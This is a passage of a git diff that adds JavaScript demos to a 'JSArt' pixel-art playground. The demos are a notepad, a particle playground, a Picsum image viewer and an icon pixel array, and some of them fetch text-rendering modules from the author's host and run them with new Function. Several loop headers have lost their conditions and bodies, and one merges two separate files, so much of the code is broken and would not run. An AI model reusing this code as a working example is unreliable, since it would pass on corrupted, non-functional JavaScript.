(Math.cos((((y>(28+(Math.random()*200)))?vx:x)+(10*Math.sin((y/(10+(Math.sin(t/500)*5)))+(t/50))))/10)+1)*128; let r = ic; return Math.floor(b)+(Math.floor(g)*256)+(Math.floor(r)*65536); })() \ No newline at end of file diff --git a/files/jsart/demos/notepad.js b/files/jsart/demos/notepad.js new file mode 100644 index 0000000..70e08ba --- /dev/null +++ b/files/jsart/demos/notepad.js @@ -0,0 +1,71 @@ +(()=>{ + function checkKey(){ + function addCharacter(chr){ + if(window.notepad.keyLength===0||(window.notepad.keyLength>30&&((window.notepad.keyLength%8)===1))){ + window.notepad.currentText+=chr; + } + window.notepad.keyLength+=1/65536; + } + function backspace(){ + if(window.notepad.keyLength===0||(window.notepad.keyLength>30&&((window.notepad.keyLength%8)===1))){ + window.notepad.currentText=window.notepad.currentText.slice(0,(window.notepad.currentText.length-1)); + } + window.notepad.keyLength+=1/65536; + } + let codes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + let uppercase = window.notepad.capsLock&&window.notepad.shift; + if(k==17){ + window.notepad.textMode=0; + } else if(k==16){ + window.notepad.textMode=1; + } else if(k>=65&&k<=90){ + addCharacter(codes[(k-65)+(26*uppercase)]) + } else if(k==32){ + addCharacter(" ") + } else if(k==8){ + backspace(); + } else if(k<=0) { + window.notepad.keyLength=0; + } + }; + if(window.notepad){checkKey();} + if(x==0&&y==0){ + if(window.notepad){ + let ct = window.notepad.currentText.split("\n"); + let lenmax = (window.notepad.textMode===0?21:32); + for(i=0;ilenmax){ + let elem = ct[i]; + let last=elem.slice(0,lenmax).lastIndexOf(" "); + if(last<=0){last=Math.floor(lenmax/2);} // this prevents jsart from crashing due to an infinite loop + ct[i]=elem.slice(0,last); + ct.splice(i+1, 0, elem.slice(last+1)); + } + } + window.notepad.displayedText=ct; + }else{ + window.notepad={"currentText":"Welcome to Notepad for JSArt!","displayedText":[],"fetched":{},"textMode":0,"capsLock":false,"shift":false,"keyLength":0}; + fetch("https://jsart.ponali.repl.co/modules/txt-small.txt").then(data=>data.text()).then(body=>{ + window.notepad.fetched.textSm=(new Function("i","t","x","y","mx","my","sw","sh","c","ic","cl","k",body)); + }); + fetch("https://jsart.ponali.repl.co/modules/txt-engine.txt").then(data=>data.text()).then(body=>{ + window.notepad.fetched.text=(new Function("i","t","x","y","mx","my","sw","sh","c","ic","cl","k",body)); + }); + } + } + let textE = window.notepad.fetched.text(i,t,x,y,mx,my,sw,sh,c,ic,ic,cl,k); + let textESm = window.notepad.fetched.textSm(i,t,x,y,mx,my,sw,sh,c,ic,cl,k); + let ntext = (window.notepad.textMode===0?textE:textESm); + let scrui = 0; + let scrtxt = 0; + scrtxt+=textESm("Notepad"+window.notepad.keyLength,0,0,0); + scrui+=0x808080; + if(y>=12){ + scrui=0; + let dsptxt = window.notepad.displayedText; + for(i=0;i{ + if(x==0&&y==0){ + if(window.fpschk){ + window.fpschk.currentFps = 1000/(t - window.fpschk.tStart); + window.fpschk.tStart=t; + } else { + window.fpschk = {"tStart":t,"currentFps":60} + } + } + let fps = window.fpschk.currentFps; + let delta = 1/window.fpschk.currentFps; + if(x+y==0){ + let defaultOptions = [{"category_name":"Particles","options":[{"name":"Borders counts as bouncy walls","type":"checkbox","ticked":false},{"name":"Add random color to particles","type":"checkbox","ticked":true}]},{"category_name":"Render","options":[{"name":"Particle appearance","type":"choose","options":["Glowing circle (default)","Simple circle","Dot"],"optionIdx":0},{"name":"Object collision formula","type":"choose","options":["OR (default)","Add","Replace"],"optionIdx":0}]}]; + if(!window.particles){ + console.log("setup started"); + window.particles=[]; + if(!localStorage["OPP-settings.json"]){ + localStorage["OPP-settings.json"]=JSON.stringify(defaultOptions); + }; + window.particles.settings=JSON.parse(localStorage["OPP-settings.json"]); + window.particles.c={"canvas":document.createElement("canvas"),"icons":{},"menu":0,"currentlyClicking":false,"settingsCategoryIdx":0}; + window.particles.c.canvas.width=window.particles.c.canvas.height=256; + window.particles.c.ctx=window.particles.c.canvas.getContext("2d"); + console.log("setup checkpoint"); + let myFont = new FontFace('OPPcanvasUIFont', 'url(/font/fredoka_one.ttf)'); + myFont.load().then(function(font){console.log("font appended!");document.fonts.add(font)}); /* loads canvas font */ + function loadImg(id,src){let aimg = new Image();aimg.src=src;aimg.onload=(()=>{window.particles.c.icons[id]=aimg;console.log("loaded image "+id)});} + loadImg("settings","data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij4KICAgIDxwYXRoIGQ9Ik0wIDBoNDh2NDhoLTQ4eiIgZmlsbD0ibm9uZSIvPgogICAgPHBhdGggZD0iTTM4Ljg2IDI1Ljk1Yy4wOC0uNjQuMTQtMS4yOS4xNC0xLjk1cy0uMDYtMS4zMS0uMTQtMS45NWw0LjIzLTMuMzFjLjM4LS4zLjQ5LS44NC4yNC0xLjI4bC00LTYuOTNjLS4yNS0uNDMtLjc3LS42MS0xLjIyLS40M2wtNC45OCAyLjAxYy0xLjAzLS43OS0yLjE2LTEuNDYtMy4zOC0xLjk3bC0uNzUtNS4zYy0uMDktLjQ3LS41LS44NC0xLS44NGgtOGMtLjUgMC0uOTEuMzctLjk5Ljg0bC0uNzUgNS4zYy0xLjIyLjUxLTIuMzUgMS4xNy0zLjM4IDEuOTdsLTQuOTgtMi4wMWMtLjQ1LS4xNy0uOTcgMC0xLjIyLjQzbC00IDYuOTNjLS4yNS40My0uMTQuOTcuMjQgMS4yOGw0LjIyIDMuMzFjLS4wOC42NC0uMTQgMS4yOS0uMTQgMS45NXMuMDYgMS4zMS4xNCAxLjk1bC00LjIyIDMuMzFjLS4zOC4zLS40OS44NC0uMjQgMS4yOGw0IDYuOTNjLjI1LjQzLjc3LjYxIDEuMjIuNDNsNC45OC0yLjAxYzEuMDMuNzkgMi4xNiAxLjQ2IDMuMzggMS45N2wuNzUgNS4zYy4wOC40Ny40OS44NC45OS44NGg4Yy41IDAgLjkxLS4zNy45OS0uODRsLjc1LTUuM2MxLjIyLS41MSAyLjM1LTEuMTcgMy4zOC0xLjk3bDQuOTggMi4wMWMuNDUuMTcuOTcgMCAxLjIyLS40M2w0LTYuOTNjLjI1LS40My4xNC0uOTctLjI0LTEuMjhsLTQuMjItMy4zMXptLTE0Ljg2IDUuMDVjLTMuODcgMC03LTMuMTMtNy03czMuMTMtNyA3LTcgNyAzLjEzIDcgNy0zLjEzIDctNyA3eiIgZmlsbD0iI2ZmZmZmZiIvPgo8L3N2Zz4="); + console.log("setup semi-completed (async functions left)"); + }else{ + let c = window.particles.c; + c.ctx.clearRect(0,0,256,256); + if(!!c.menu){ + c.ctx.fillStyle="#80808050"; + c.ctx.fillRect(0,0,256,256); + } + c.ctx.font = '12px OPPcanvasUIFont'; + c.ctx.fillStyle="#ffffffb0"; + c.ctx.fillText("Open Particle Playground",5,15,246); + c.ctx.fillStyle="#ffffff80"; + c.ctx.font = '8px OPPcanvasUIFont'; + c.ctx.fillText("Created by @Ponali",5,25,246); + c.ctx.globalAlpha=0.5+(0.3*(mx>=235&&mx<251&&my>=5&&my<21)); + c.ctx.drawImage(c.icons.settings,235,5,16,16); + c.ctx.globalAlpha=1; + if(c.menu===1){ + c.ctx.font = '12px OPPcanvasUIFont'; + c.ctx.fillStyle="#ffffffb0"; + if(mx>=5&&mx<251&&my>=210&&my<222){ + c.ctx.fillStyle="#ffffffff"; + if((!!cl)&&(!c.currentlyClicking)){ + c.settingsCategoryIdx++; + if(c.settingsCategoryIdx>window.particles.settings.length){c.settingsCategoryIdx=0;} + }; + } + c.ctx.fillText(window.particles.settings[c.settingsCategoryIdx].category_name,5,220,246); + for(i=0;i=5&&mx<251&&my>=40+(i*20)&&my<52+(i*20)){ + c.ctx.fillStyle="#ffffffff"; + if((!!cl)&&(!c.currentlyClicking)){ + switch (window.particles.settings[c.settingsCategoryIdx].options[i].type){ + case "checkbox":window.particles.settings[c.settingsCategoryIdx].options[i].ticked=!window.particles.settings[c.settingsCategoryIdx].options[i].ticked;break; + case "choose":window.particles.settings[c.settingsCategoryIdx].options[i].optionIdx++;if(window.particles.settings[c.settingsCategoryIdx].options[i].optionIdx>(window.particles.settings[c.settingsCategoryIdx].options[i].options.length-1)){window.particles.settings[c.settingsCategoryIdx].options[i].optionIdx=0;};break; + default:alert("cannot edit option with unknown type");break; + } + }; + } + c.ctx.fillText(text,5,50+(i*20),246); + } + }; + window.particles.c.rawData=window.particles.c.ctx.getImageData(0, 0, 256, 256).data; + if(window.particles.settings!=JSON.parse(localStorage["OPP-settings.json"])){ + localStorage["OPP-settings.json"]=JSON.stringify(window.particles.settings) + } + if(!!cl){ + if(mx>=235&&mx<251&&my>=5&&my<21){ + if(!window.particles.c.currentlyClicking){ + window.particles.c.menu=(1-window.particles.c.menu)%2; + } + } else { + if(!c.menu){ + let particleData = {"color":(0x10000*(Math.random()<=(1/3)))+(0x100*(Math.random()<=(1/3)))+(1*(Math.random()<=(1/3))),"x":mx,"y":my,"vx":20*(0.5-Math.random()),"vy":10}; + if(!window.particles.settings[0].options[1].ticked){ + particleData.color=0x10101; + } + window.particles.push(particleData); + } + } + }; + window.particles.c.currentlyClicking=!!cl; + let particleSpeed=10; + function deathCheck(){ + for(i=0;i(sh+16)||window.particles[i].x>(sw+16)||window.particles[i].x<(-16)){ + window.particles.splice(i,1); + i--; + }; + }; + }; + function bounceCheck(){ + for(i=0;i(sh-4)&&(!window.particles[i].noBounce)){ + window.particles[i].vx=window.particles[i].vx/1.05; + window.particles[i].vy=Math.abs(window.particles[i].vy)/1.2; + if(window.particles[i].vy<10){ + window.particles[i].noBounce=true; + }; + }; + if(window.particles[i].noBounce&&window.particles[i].y>(sh+16)){ + window.particles.splice(i,1); + i--; + } + if(window.particles[i].x>(sw-4)){ + window.particles[i].vx=Math.abs(window.particles[i].vx)/1.05; + }; + if(window.particles[i].x<4){ + window.particles[i].vx=Math.abs(window.particles[i].vx)/-1.05; + } + }; + }; + if(!c.menu){ + if(window.particles.settings[0].options[0].ticked){ + bounceCheck() + } else { + deathCheck(); + } + } + }; + }; + let scr=0; + function put(val){ + switch(window.particles.settings[1].options[1].optionIdx){ + case 0:scr=scr|val;break; + case 1:scr+=val;break; + case 2:if(val>=1){scr=val;};break; + } + } + for(i=0;i{if(x==0&&y==0){ +if(window.imgvw){ +if(window.imgvw.menu==0){ + if(((cl==1&&mx>200&my>243&&k!=88)||k==82)&&window.imgvw.loaded==true){window.imgvw=null;} + if((cl==1&&mx<59&my>243&&k!=88)&&window.imgvw.loaded==true){window.imgvw.menu=1;} +} else if(window.imgvw.menu==1){ + if(cl==1&&mx<34&&my<12){window.imgvw.menu=0;} +} +} +if(!window.imgvw){ +window.imgvw = {"cnv":document.createElement("canvas"),"ctx":{},"dataURL":"","loaded":false,"menu":0,"imageOrigin":""}; +window.imgvw.cnv.width=window.imgvw.cnv.height=512; +window.imgvw.ctx=window.imgvw.cnv.getContext("2d"); + +window.imgvw.toDataURL = ((url, callback)=>{ + var xhr = new XMLHttpRequest(); + xhr.open('get', url); + xhr.responseType = 'blob'; + xhr.onload = function(){ + var fr = new FileReader(); + + fr.onload = function(){ + callback(this.result); + }; + + fr.readAsDataURL(xhr.response); // async call + }; + + xhr.send(); +}) + +let link = (window.cimgurl ? window.cimgurl : "https://picsum.photos/512"); +window.imgvw.imageOrigin = link; +window.imgvw.toDataURL(link, function(dataURL){ + window.imgvw.imge=document.createElement("img"); + window.imgvw.imge.src = dataURL; + window.imgvw.imge.onload=(()=>{ + function getSizeFromRatio(ratio,sqsize){if(ratio>1){return [sqsize,Math.floor(sqsize/ratio)]} else {return [Math.floor(sqsize*ratio),sqsize]}}; + let size = getSizeFromRatio((window.imgvw.imge.width/window.imgvw.imge.height),512) + window.imgvw.imageSize = size; + window.imgvw.ctx.drawImage(window.imgvw.imge,Math.floor((512-(size[0]))/2),Math.floor((512-(size[1]))/2),size[0],size[1]); + window.imgvw.imgdata = window.imgvw.ctx.getImageData(0,0,512,512); + window.imgvw.loaded=true; + }) +}); +} +} + +let txte = (()=>{ if(x==0&&y==0){if(!window.imgvw.texte){(()=>{ fetch("https://jsart.ponali.repl.co/modules/txt-small.txt").then(data=>data.text()).then((body)=>{window.imgvw.texte.func= new Function("i","t","x","y","mx","my","sw","sh","c","ic","cl","k",body);}) })();window.imgvw.texte={"func":(()=>{})};}} return window.imgvw.texte.func(i,t,x,y,mx,my,sw,sh,c,ic,cl,k); })(); +let imgidx = (x*2)+(y*1024); +if(k==88){imgidx=(x+Math.floor(mx))+((y+Math.floor(my))*512);} +let idata = [window.imgvw.imgdata.data[(imgidx*4)],window.imgvw.imgdata.data[(imgidx*4)+1],window.imgvw.imgdata.data[(imgidx*4)+2]]; +let infobar = (my>244&&window.imgvw.loaded&&k!=88&&window.imgvw.menu==0); +let fade = (1-(0.5*((y>243||y<13)&&infobar)))+(0.25*(y>243&&infobar&&x>200&&mx>200))+(0.25*(y>243&&infobar&&x<59&&mx<59)); +if(window.imgvw.menu==1){fade=0.25+(0.25*(y<12&&my<12&&x<34&&mx<34));} +let scrui = (Math.min(Math.floor(fade*idata[0]),256)*65536)+(Math.min(Math.floor(fade*idata[1]),256)*256)+Math.min(Math.floor(fade*idata[2]),256); +let scrtxt = 0; +if(infobar){ + scrtxt=scrtxt|txte("Picsum Image Viewer by @Ponali",0,0,1)|txte("Details",0,244,0)|txte("Refresh",0,244,2); +} else if(window.imgvw.menu==1){ + scrtxt=scrtxt|txte("Back",0,0,0)|txte(("Natural image size: "+window.imgvw.imge.width+"x"+window.imgvw.imge.height),0,30,1)|txte(("Resized to "+window.imgvw.imageSize[0]+"x"+window.imgvw.imageSize[1]),0,60,1)|txte(("Source: "+window.imgvw.imageOrigin.slice(0,20)),0,90,1)|txte((""+window.imgvw.imageOrigin.slice(20,40)+"...".repeat(window.imgvw.imageOrigin.length>40)),0,110,1); +} +return (scrtxt ? scrtxt : scrui); +})(); \ No newline at end of file diff --git a/files/jsart/demos/pluto-icons.png b/files/jsart/demos/pluto-icons.png new file mode 100644 index 0000000..662f967 Binary files /dev/null and b/files/jsart/demos/pluto-icons.png differ diff --git a/files/jsart/demos/pluto.js b/files/jsart/demos/pluto.js new file mode 100644 index 0000000..da05dc3 --- /dev/null +++ b/files/jsart/demos/pluto.js @@ -0,0 +1,117 @@ +(()=>{ + function tx(sx,sy){ + let data = [14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,0,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,8421504,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,8421504,0,16777215,14671839,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,8421504,0,0,8421504,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,8421504,0,16777215,14671839,12632256,12632256,0,0,12632256,12632256,12632256,12632256,0,0,12632256,12632256,8421504,0,0,8421504,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,12632256,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,12632256,12632256,8421504,0,16777215,14671839,12632256,12632256,12632256,0,0,12632256,12632256,0,0,12632256,12632256,12632256,8421504,0,0,8421504,12632256,12632256,0,0,12632256,12632256,12632256,12632256,0,0,12632256,12632256,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,12632256,12632256,8421504,0,16777215,14671839,12632256,12632256,12632256,12632256,0,0,0,0,12632256,12632256,12632256,12632256,8421504,0,0,8421504,12632256,12632256,12632256,0,0,12632256,12632256,0,0,12632256,12632256,12632256,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,12632256,12632256,8421504,0,16777215,14671839,12632256,12632256,12632256,12632256,12632256,0,0,12632256,12632256,12632256,12632256,12632256,8421504,0,0,8421504,12632256,12632256,12632256,12632256,0,0,0,0,12632256,12632256,12632256,12632256,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,128,128,128,12632256,12632256,8421504,0,16777215,14671839,12632256,12632256,12632256,12632256,0,0,0,0,12632256,12632256,12632256,12632256,8421504,0,0,8421504,12632256,12632256,12632256,12632256,12632256,0,0,12632256,12632256,12632256,12632256,12632256,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,16777215,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,14671839,128,128,128,12632256,12632256,8421504,0,16777215,14671839,12632256,12632256,12632256,0,0,12632256,12632256,0,0,12632256,12632256,12632256,8421504,0,0,8421504,12632256,12632256,12632256,12632256,0,0,0,0,12632256,12632256,12632256,12632256,14671839,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14671839,16777215,12632256,12632256,128,128,128,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,7377598,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,16777215,14671839,12632256,12632256,12632256,12632256,12632256,12632256,1